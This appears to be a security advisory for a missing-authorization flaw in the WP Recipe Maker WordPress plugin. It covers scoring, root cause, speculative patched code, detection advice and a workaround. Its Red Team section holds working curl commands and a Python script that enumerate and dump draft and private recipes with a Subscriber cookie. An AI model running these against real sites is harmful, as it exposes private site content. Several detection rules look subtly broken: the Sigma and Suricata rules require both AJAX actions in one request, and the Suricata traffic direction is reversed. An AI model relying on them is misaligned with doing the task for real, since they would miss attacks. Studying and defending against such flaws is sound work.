CVE-2025-14742

Executive Summary

CVE-2025-14742 is a Missing Authorization vulnerability in the WP Recipe Maker WordPress plugin (versions up to and including 10.2.3). The plugin fails to perform capability checks on the ajax_search_recipes and ajax_get_recipe AJAX functions, allowing authenticated attackers with Subscriber-level access or higher to retrieve sensitive recipe information. This includes draft, pending, and private recipes that should be restricted. The vulnerability has a CVSS score of 4.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin's update channel for a patched version. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (exposure of recipe metadata)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the impact is limited to information disclosure, the low barrier to entry (Subscriber-level access) and the potential for sensitive recipe data (e.g., unpublished content) make it a concern for sites with multiple user roles.

Deep Dive & Mechanics

The vulnerability resides in the plugin's AJAX handlers for ajax_search_recipes and ajax_get_recipe. These functions are registered via wp_ajax_ hooks, making them accessible to authenticated users. The plugin fails to call current_user_can() or any other capability check before processing the request.

Affected Functions:

• ajax_search_recipes: Allows searching through all recipes, including those with draft, pending, or private post statuses.
• ajax_get_recipe: Retrieves full details of a specific recipe by ID, without verifying the user's permission to view that post.

Attack Flow:

1. An attacker authenticates as a Subscriber (or higher).
2. The attacker sends a POST request to /wp-admin/admin-ajax.php with action=ajax_search_recipes and a search query.
3. The plugin returns a list of recipes, including those with restricted statuses.
4. The attacker can then use action=ajax_get_recipe with a specific recipe ID to retrieve full details.

Root Cause: Missing capability check on AJAX callbacks. The plugin assumes that any authenticated user can access all recipe data, ignoring WordPress's built-in post status and capability system.

Vulnerable vs. Patched Code

Vulnerable Code (wp-recipe-maker/includes/class-wprm-ajax.php):

public function ajax_search_recipes() {
    $search = sanitize_text_field( $_POST['search'] );
    $recipes = $this->search_recipes( $search );
    wp_send_json_success( $recipes );
}

public function ajax_get_recipe() {
    $recipe_id = intval( $_POST['recipe_id'] );
    $recipe = $this->get_recipe( $recipe_id );
    wp_send_json_success( $recipe );
}

Patched Code (Expected Fix):

public function ajax_search_recipes() {
    if ( ! current_user_can( 'edit_posts' ) ) {
        wp_send_json_error( 'Unauthorized' );
        return;
    }
    $search = sanitize_text_field( $_POST['search'] );
    $recipes = $this->search_recipes( $search, array( 'publish' ) ); // Only published
    wp_send_json_success( $recipes );
}

public function ajax_get_recipe() {
    if ( ! current_user_can( 'edit_post', $_POST['recipe_id'] ) ) {
        wp_send_json_error( 'Unauthorized' );
        return;
    }
    $recipe_id = intval( $_POST['recipe_id'] );
    $recipe = $this->get_recipe( $recipe_id );
    wp_send_json_success( $recipe );
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with WP Recipe Maker plugin <= 10.2.3
• Valid user account with Subscriber role or higher
• Access to /wp-admin/admin-ajax.php

Exploitation Steps:

1. Enumerate Recipes via Search:

curl -X POST 'http://target.com/wp-admin/admin-ajax.php' \
  -d 'action=ajax_search_recipes&search=secret' \
  --cookie 'wordpress_logged_in_xxx=...'

2. Retrieve Specific Recipe:

curl -X POST 'http://target.com/wp-admin/admin-ajax.php' \
  -d 'action=ajax_get_recipe&recipe_id=123' \
  --cookie 'wordpress_logged_in_xxx=...'

Automated Script (Python):

import requests

target = "http://target.com"
cookie = {"wordpress_logged_in_xxx": "your_cookie_value"}

# Search for recipes
search_resp = requests.post(f"{target}/wp-admin/admin-ajax.php",
    data={"action": "ajax_search_recipes", "search": ""},
    cookies=cookie)
recipes = search_resp.json().get("data", [])

for recipe in recipes:
    recipe_resp = requests.post(f"{target}/wp-admin/admin-ajax.php",
        data={"action": "ajax_get_recipe", "recipe_id": recipe["id"]},
        cookies=cookie)
    print(recipe_resp.json())

Blue Team (Detection & Hardening)

Detection:

• Monitor AJAX requests to admin-ajax.php with action=ajax_search_recipes or action=ajax_get_recipe from low-privilege users.
• Look for unusual patterns: rapid sequential recipe ID requests, searches for draft/pending keywords.

Hardening:

• Apply the principle of least privilege: ensure Subscribers cannot access AJAX endpoints meant for editors.
• Use a Web Application Firewall (WAF) to block requests to these actions from non-admin users.
• Temporarily disable the plugin if no patch is available.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /wp-admin/admin-ajax.php with action=ajax_search_recipes or action=ajax_get_recipe
• User-Agent strings from automated tools (e.g., python-requests, curl)
• Sequential recipe ID enumeration patterns

Host IOCs:

• WordPress debug log entries showing ajax_search_recipes or ajax_get_recipe calls from unexpected user roles
• Unusual database queries for wp_posts with post_status IN ('draft','pending','private')

Log Examples:

[01/Jan/2025:12:00:00 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 1234 "-" "python-requests/2.28.0"

Detection Engineering

YARA Rule

rule CVE_2025_14742_WP_Recipe_Maker {
    meta:
        description = "Detects exploitation attempts for CVE-2025-14742 in WP Recipe Maker"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-14742"
    strings:
        $ajax_search = "ajax_search_recipes" ascii wide nocase
        $ajax_get = "ajax_get_recipe" ascii wide nocase
        $admin_ajax = "admin-ajax.php" ascii wide nocase
    condition:
        all of ($ajax_search, $ajax_get, $admin_ajax)
}

Sigma Rule

title: CVE-2025-14742 WP Recipe Maker Unauthorized Recipe Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit missing authorization in WP Recipe Maker AJAX functions
author: Valters IT
date: 2025/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=ajax_search_recipes'
            - 'action=ajax_get_recipe'
    condition: selection
falsepositives:
    - Legitimate admin activity (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-14742 WP Recipe Maker Unauthorized Recipe Access";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=ajax_search_recipes"; http_client_body;
    content:"action=ajax_get_recipe"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to operations.
2. Restrict user roles: Remove Subscriber accounts or limit their capabilities via a plugin like "User Role Editor".
3. Apply virtual patching: Use a WAF to block requests to admin-ajax.php with action=ajax_search_recipes or action=ajax_get_recipe from non-admin users.

Long-term Fix:

• Monitor the plugin's official repository for a patched version (expected to add capability checks).
• Once patched, update to the latest version immediately.

Workaround Code (if patching is delayed): Add the following to your theme's functions.php to block unauthorized access:

add_action( 'wp_ajax_ajax_search_recipes', function() {
    if ( ! current_user_can( 'edit_posts' ) ) {
        wp_die( 'Unauthorized' );
    }
}, 1 );
add_action( 'wp_ajax_ajax_get_recipe', function() {
    if ( ! current_user_can( 'edit_posts' ) ) {
        wp_die( 'Unauthorized' );
    }
}, 1 );

Valters IT
Securing WordPress ecosystems through proactive threat intelligence.